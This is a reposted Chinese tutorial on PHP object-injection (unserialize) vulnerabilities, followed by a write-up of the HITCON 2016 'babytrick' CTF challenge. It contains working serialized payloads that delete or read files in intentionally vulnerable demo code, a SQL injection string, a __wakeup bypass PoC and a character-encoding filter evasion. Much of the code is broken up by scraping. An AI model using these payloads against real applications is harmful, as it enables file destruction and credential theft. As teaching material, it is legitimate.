PHP反序列化漏洞

转载

kuiguowei 于 2018-01-16 09:31:35 发布 733 收藏

php反序列化漏洞又称为php对象注入，是一个非常常见的漏洞，这个类型的漏洞虽然有些难以利用，但仍旧非常危险。为了理解这个漏洞，请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子，1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数，该函数会输出变量variable。

```
1. <?php
2.
3. class TestClass
4. {
5.     // 一个变量
6.
7.     public $variable = 'This is a string';
8.
9.     // 一个简单的方法
10.
11.     public function PrintVariable()
12.     {
13.         echo $this->variable;
14.     }
15. }
16.
17. // 创建一个对象
18.
19. $object = new TestClass();
20.
21. // 调用一个方法
22.
23. $object->PrintVariable();
24.
25. ?>
```

php类可能会包含一些特殊的函数叫magic函数，magic函数命名是以符号__开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用，比如__construct当一个对象创建时被调用，__destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的，在2.php中增加了三个magic方法，__construct, __destruct和__toString。可以看出，__construct在对象创建时调用，__destruct在php脚本结束时调用，__toString在对象被当作一个字符串使用

时调用。

```
1. <?php
2.
3. class TestClass
4. {
5.     // 一个变量
6.
7.     public $variable = 'This is a string';
8.
9.     // 一个简单的方法
10.
11.     public function PrintVariable()
12.     {
13.         echo $this->variable . '<br />';
14.     }
15.
16.     // Constructor
17.
18.     public function __construct()
19.     {
20.         echo '__construct <br />';
21.     }
22.
23.     // Destructor
24.
25.     public function __destruct()
26.     {
27.         echo '__destruct <br />';
28.     }
29.
30.     // Call
31.
32.     public function __toString()
33.     {
34.         return '__toString<br />';
35.     }
36. }
```

```
37.
38. // 创建一个对象
39. //  __construct会被调用
40.
41. $object = new TestClass();
42.
43. // 创建一个方法
44.
45. $object->PrintVariable();
46.
47. // 对象被当作一个字符串
48. //  __toString会被调用
49.
50. echo $object;
51.
52. // End of PHP script
53. // 脚本结束__destruct会被调用
54.
55. ?>
```

php允许保存一个对象方便以后重用，这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中，有可能遇到变量值要跨脚本文件传递的过程。试想，如果为一个脚本中想要调用之前一个脚本的变量，但是前一个脚本已经执行完毕，所有的变量和内容释放掉了，我们要如何操作呢?难道要前一个脚本不断的循环，等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值；unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子，看看php对象序列化之后的格式。

```
1. <?php
2.
3. // 某类
4.
5. class User
6. {
7.     // 类数据
8.
9.     public $age = 0;
10.     public $name = '';
11.
12.     // 输出数据
13.
```

```
14.     public function PrintData()
15.     {
16.         echo 'User ' . $this->name . ' is ' . $this->age
17.             . ' years old. <br />';
18.     }
19. }
20.
21. // 创建一个对象
22.
23. $usr = new User();
24.
25. // 设置数据
26.
27. $usr->age = 20;
28. $usr->name = 'John';
29.
30. // 输出数据
31.
32. $usr->PrintData();
33.
34. // 输出序列化之后的数据
35.
36. echo serialize($usr);
37.
38. ?>
```

为了使用这个对象，在4.php中用unserialize重建对象。

```
1. <?php
2.
3. // 某类
4.
5. class User
6. {
7.     // Class data
```

```
8.
9.      public $age = 0;
10.     public $name = '';
11.
12.     // Print data
13.
14.     public function PrintData()
15.     {
16.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
17.     }
18. }
19.
20. // 重建对象
21.
22. $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
23.
24. // 调用PrintData 输出数据
25.
26. $usr->PrintData();
27.
28. ?>
```

magic函数__construct和__destruct会在对象创建或者销毁时自动调用；__sleep magic方法在一个对象被序列化的时候调用；__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

```
1. <?php
2.
3. class Test
4. {
5.     public $variable = 'BUZZ';
6.     public $variable2 = 'OTHER';
7.
8.     public function PrintVariable()
9.     {
10.         echo $this->variable . '<br />';
11.     }
```

```
12.
13.     public function __construct()
14.     {
15.         echo '__construct<br />';
16.     }
17.
18.     public function __destruct()
19.     {
20.         echo '__destruct<br />';
21.     }
22.
23.     public function __wakeup()
24.     {
25.         echo '__wakeup<br />';
26.     }
27.
28.     public function __sleep()
29.     {
30.         echo '__sleep<br />';
31.
32.         return array('variable', 'variable2');
33.     }
34. }
35.
36. // 创建对象调用__construct
37.
38. $obj = new Test();
39.
40. // 序列化对象调用__sleep
41.
42. $serialized = serialize($obj);
43.
44. // 输出序列化后的字符串
45.
46. print 'Serialized: ' . $serialized . '<br />';
47.
48. // 重建对象调用__wakeup
```

```
49.
50.  $obj2 = unserialize($serialized);
51.
52.  // 调用PintVariable输出数据
53.
54.  $obj2->PrintVariable();
55.
56.  // 脚本结束调用__destruct
57.
58.  ?>
```

现在我们了解序列化是如何工作的，但是我们如何利用它呢?有多种可能的方法，取决于应用程序、可用的类和magic函数。记住，序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类，这些函数会影响Web应用程序。例如，我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

```
1.  <?php
2.
3.  class LogFile
4.  {
5.      // log文件名
6.
7.      public $filename = 'error.log';
8.
9.      // 储存日志文件
10.
11.      public function LogData($text)
12.      {
13.          echo 'Log some data: ' . $text . '<br />';
14.          file_put_contents($this->filename, $text, FILE_APPEND);
15.      }
16.
17.      // 删除日志文件
18.
19.      public function __destruct()
20.      {
21.          echo '__destruct deletes '" . $this->filename . '" file. <br />';
```

```
22.         unlink(dirname(__FILE__) . '/' . $this->filename);
23.     }
24. }
25.
26. ?>
```

这是一个使用它的例子。

```
1. <?php
2.
3. include 'logfile.php';
4.
5. // 创建一个对象
6.
7. $obj = new LogFile();
8.
9. // 设置文件名和要储存的日志数据
10.
11. $obj->filename = 'somefile.log';
12. $obj->LogData('Test');
13.
14. // 脚本结束__destruct被调用somefile.log文件被删除
15.
16. ?>
```

在其它脚本中我们可能找到一个unserialize的调用，并且参数是用户提供的。把下面这段代码保存为test.php。

```
1. <?php
2.
3. include 'logfile.php';
4.
5. // ... 一些使用LogFile类的代码...
6.
7. // 简单的类定义
8.
9. class User
10. {
11.     // 类数据
12.
```

```
13.     public $age = 0;
14.     public $name = '';
15.
16.     // 输出数据
17.
18.     public function PrintData()
19.     {
20.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
21.     }
22. }
23.
24. // 重建用户输入的数据
25.
26. $usr = unserialize($_GET['usr_serialized']);
27.
28. ?>
```

```
1. <?php
2.
3. include 'logfile.php';
4.
5. $obj = new LogFile();
6. $obj->filename = '1.php';
7.
8. echo serialize($obj) . '<br />';
9.
10. ?>
```

访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。

显示已经删除了1.php。验证一下，果然成功删除了。

这就是漏洞名称的由来：在变量可控并且进行了unserialize操作的地方注入序列化对象，实现代码执行或者其它坑爹的行为。先不谈 __wakeup

和 __destruct，还有一些很常见的注入点允许你利用这个类型的漏洞，一切都是取决于程序逻辑。举个例子，某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj)，而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为test.php。

```
<?php

// … 一些include ...

class FileClass
{
    // 文件名

    public $filename = 'error.log';

    // 当对象被作为一个字符串会读取这个文件

    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

// Main User class

class User
{
    // Class data

    public $age = 0;
    public $name = '';

    // 允许对象作为一个字符串输出上面的data

    public function __toString()
    {
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
    }
}

```

```
36. // 用户可控
37.
38. $obj = unserialize($_GET['usr_serialized']);
39.
40. // 输出__toString
41.
42. echo $obj;
43.
44. }
45. ?>
```

访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。

但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

创建利用代码123.php。

```
1. <?php
2.
3. include 'test.php';
4. $fileobj = new FileClass();
5. $fileobj->filename = '1.txt';
6.
7. echo serialize($fileobj);
8.
9. ?>
```

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。

成功显示了文本内容。也可以使用其他magic函数：如果对象将调用一个不存在的函数__call将被调用；如果对象试图访问不存在的类变量__get

和__set将被调用。但是利用这种漏洞并不局限于magic函数，在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据，但是其他类可能定义一个从数据库获取数据的get方法，这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件，可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类，但是一些框架或脚本具有自动加载的功能。最大的问题在于人：理解应用程序以能够利用这种类型的漏洞，因为它可能需要大量的时间来阅读和理解代码。

以上原文地址：

https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

由HITCON 2016一道web聊一聊php反序列化漏洞

1.unserialize函数

php官方文档（
http://php.net/manual/en/function.unserialize.php
），从中可以得到信息unserialize函数会产生一个php值，类型可能为数组、对象等等。如果被反序列化的变量为对象，在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false）同时给出了警告，不要传递给unserialize不信任的用户输入。

理解序列化的字符串（unserlialize的参数）：

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo，有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i)，长度为4，值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data，长度为5的字符串aaaaa

object foo，属性file：shell.php，属性data：aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入，可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数，调用某一类并执行魔术方法(magic method)，之后可以执行类中函数，产生安全问题。

所以漏洞的前提：

1）unserialize函数的变量可控

2）php文件中存在可利用的类，类中有魔术方法

利用场景
在ctf、代码审计中常见
，黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞，ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有

对参数进行处理、换用更安全的函数。

推荐阅读：SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码，我们定义了一个对象之后又创建了对象并输出了序列化的字符串

```
<?php

// 某类

class User

{

// 类数据

public
$age
 = 0;

public
$name
 =
''
;

// 输出数据

public
function

PrintData
()

{


 echo

 'User '
  .
 $this
 ->name .
 ' is '
  .
 $this
 ->age

.
' years old. <br />'
;
```

```
}

}

// 创建一个对象

$usr
 = new User();

// 设置数据

$usr
->age = 20;

$usr
->name =
'John'
;

// 输出数据

$usr
->PrintData();

// 输出序列化之后的数据

echo
 serialize(
$usr
);

?>
```

输出为：

```
User

John

is
 20
years

old
.

O
:4:"User":2
:{
s
:
3
:
```

```
"age"
;
i
:
20
;
s
:
4
:
"name"
;
s
:
4
:
"John";}
```

以下代码同上，不过并没有创建对象，而是使用unserialize函数调用了这个类。大家可以试一下。

```
<?php


// 某类

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data

public

function

PrintData
()

{


echo

'User '
 . $this->name .
' is '
 . $this->age .
```

```
' years old. <br />'
;

}

}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>
```

输出为：User John is 20 years old

这个函数中的序列化字符串为'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'，即一个user对象，属性值age为20，属性值name为john。调用user类并给属性赋了值，在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例：

访问链接
http://52.198.42.246/
可以看到源代码如下：

（目前已关闭，可访问
https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick
查看源码

```
<?php

include

"config.php"
;

class

HITCON
{


 private
  $method;


 private
  $args;
```

```
private
 $conn;


public

function

__construct
($method, $args) {

$this->method = $method;

$this->args = $args;

$this->__conn();

}


function

show
() {


list
($username) = func_get_args();

$sql = sprintf(
"SELECT * FROM users WHERE username='%s'"
, $username);

$obj = $this->__query($sql);


if
 ( $obj !=
false
 ) {

$this->__die( sprintf(
"%s is %s"
, $obj->username, $obj->role) );

}
else
 {

$this->__die(
"Nobody Nobody But You!"
);
```

```
}

}

 function

 login
 () {


 global
  $FLAG;


 list
 ($username, $password) = func_get_args();

$username = strtolower(trim(mysql_escape_string($username)));

$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf(
"SELECT * FROM users WHERE username='%s' AND password='%s'"
, $username, $password);


 if
  ( $username ==
 'orange'
  || stripos($sql,
 'orange'
 ) !=
 false
  ) {

$this->__die(
"Orange is so shy. He do not want to see you."
);

}

$obj = $this->__query($sql);


 if
  ( $obj !=
 false
  && $obj->role ==
 'admin'
  ) {
```

```
$this->__die(
"Hi, Orange! Here is your flag: "
 . $FLAG);

}
else
 {

$this->__die(
"Admin only!"
);

}

}


 function

 source
 () {

highlight_file(
__FILE__
);

}


 function

 __conn
 () {


 global
  $db_host, $db_name, $db_user, $db_pass, $DEBUG;


 if
  (!$this->conn)

$this->conn = mysql_connect($db_host, $db_user, $db_pass);

mysql_select_db($db_name, $this->conn);


 if
  ($DEBUG) {

$sql =
"CREATE TABLE IF NOT EXISTS users (
```

```
username VARCHAR(64),

password VARCHAR(64),

role VARCHAR(64)

) CHARACTER SET utf8"
;

$this->__query($sql, $back=
false
);

$sql =
"INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"
;

$this->__query($sql, $back=
false
);

}

mysql_query(
"SET names utf8"
);

mysql_query(
"SET sql_mode = 'strict_all_tables'"
);

}


 function

 __query
 ($sql, $back=true) {

$result = @mysql_query($sql);


 if
  ($back) {


 return
  @mysql_fetch_object($result);

}

}
```

```
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array( "msg" => $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show",'login','source'))) {
@call_user_func_array(
```

```
array
($this, $this->method), $this->args);

}
else
 {

$this->__die(
"What do you do?"
);

}

$this->__close();

}


 function

 __wakeup
 () {


 foreach
 ($this->args
 as
  $k => $v) {

$this->args[$k] = strtolower(trim(mysql_escape_string($v)));

}

}

}

if
(
isset
($_GET[
"data"
])) {

@unserialize($_GET[
"data"
]);

}
else
 {
```

```
new
 HITCON(
"source"
,
array
());

}
```

从源码中可以看到使用了unserialize函数并且没有过滤，且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag，需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话)，于是利用类中show函数得到密码。

看show函数我们可以看出未对参数进行过滤，可以进行sql注入，构造语句为：

```
bla' union
select

password
,username,
password

from

users

where
 username='orange'- -
```

那么如何使用反序列化执行函数呢？注意到类中有魔术方法__wakeup，其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢？简单来说就是当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考
https://bugs.php.net/bug.php?id=72663
，某一种情况下，出错的对象不会被毁掉，会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下：

```
<?php

class obj implements Serializable {


var
 $data;


function

serialize
() {


return
 serialize($this->data);
```

```
}


 function

 unserialize
 ($data) {

$this->data = unserialize($data);

}

}

$inner =
'a:1:{i:0;O:9:"Exception":2:{s:7:"'
.
""
.
'*'
.
""
.
'file";R:4;}'
;

$exploit =
'a:2:{i:0;C:3:"obj":'
.strlen($inner).
':{'
.$inner.
'}i:1;R:4;}'
;

$data = unserialize($exploit);

echo
 $data[
1
];

?>
```

根据poc进行改造如下，计入了

```
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
```

```
4
;};}

O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orange"
;
i
:
1
;
s
:
8
:
"password"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
```

这种情况下就不会执行__wakeup方法。

（同时该cve介绍了另一种情况，即成员属性数目大于实际数目时可绕过wakeup方法，把 O:6:”HITCON”:3 中的3改为任意比3大数字即可，如5。另一种绕过方法为对wakeup过滤的绕过，利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00…”呢？k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00，url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码，直接” HITCON …”即可(%00替换为空格

加入注入语句为：

```
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
4
:
"show"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
83
:
"bla' union select password,username,password from users where username='orange'- -"
;
i
:
1
;
s
:
6
:
"phddaa"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
7
:
```

```
"*file"
;
R
:
4
;};}}
```

得到结果：

{“msg”:”babytrick1234 is babytrick1234”}

构造好：

```
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orange"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
:{
s
:
```

```
7
:
"*file"
;
R
:
4
;};}}
```

这时会返回

{“msg”:”Orange is so shy. He do not want to see you.”}

接下来考虑如何绕过，注意到__conn方法中有 mysql_query(“SET names utf8”); 观察到php的字符编码不是utf8，考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã，可实现绕过。

poc为：

```
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
6
:
"orÃnge"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
```

```
";
O
:9:"Exception":2
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
```

得到了空白页面，注意到 s:6:”orÃnge”，改为s:6:”orÃnge”，构造如下：

```
O
:6:"HITCON":3
:{
s
:
14
:
"%00HITCON%00method"
;
s
:
5
:
"login"
;
s
:
12
:
"%00HITCON%00args"
;
a
:
2
:{i:
0
;
s
:
7
:
"orÃnge"
;
i
:
1
;
s
:
13
:
"babytrick1234"
;}
s
:12:"
%00
HITCON
%00
conn
";
O
:9:"Exception":2
```

```
:{
s
:
7
:
"*file"
;
R
:
4
;};}}
```

得到了结果，很开心有木有？

{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

参考资料：

http://0xecute.com/index.php/2016/10/10/baby-trick/#comment-644

http://www.wtoutiao.com/p/1e1gMC1.html

http://www.freebuf.com/vuls/80293.html

http://netsecurity.51cto.com/art/201502/464982.htm

https://kovige.github.io/2016/08/17/PHP%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/

http://www.melodia.pw/2016/10/10/hitcon-2016-web-writeup/

http://www.neatstudio.com/show-161-1.shtml